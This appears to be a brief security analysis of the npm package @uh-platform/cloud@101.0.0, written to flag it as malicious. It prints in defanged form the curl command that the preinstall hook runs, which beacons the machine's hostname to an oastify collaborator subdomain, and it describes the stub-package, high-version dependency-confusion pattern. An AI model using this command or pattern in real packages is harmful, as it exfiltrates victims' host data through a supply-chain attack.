@uh-platform/cloud@101.0.0

Analysis

The preinstall hook of @uh-platform/cloud@101.0.0 runs index.js, which executes `curl "hxxp://$(hostname).pa33pg1od9cr4ffnrzec8864jvpmdd12[.]oastify[.]com/"` at install time. This beacons the machine's hostname to an attacker-controlled Burp Collaborator (oastify[.]com) subdomain. The package is a 480-byte stub on a scoped name with a high version number, containing no functional SDK code — its only behaviour is the install-time hostname exfiltration callback.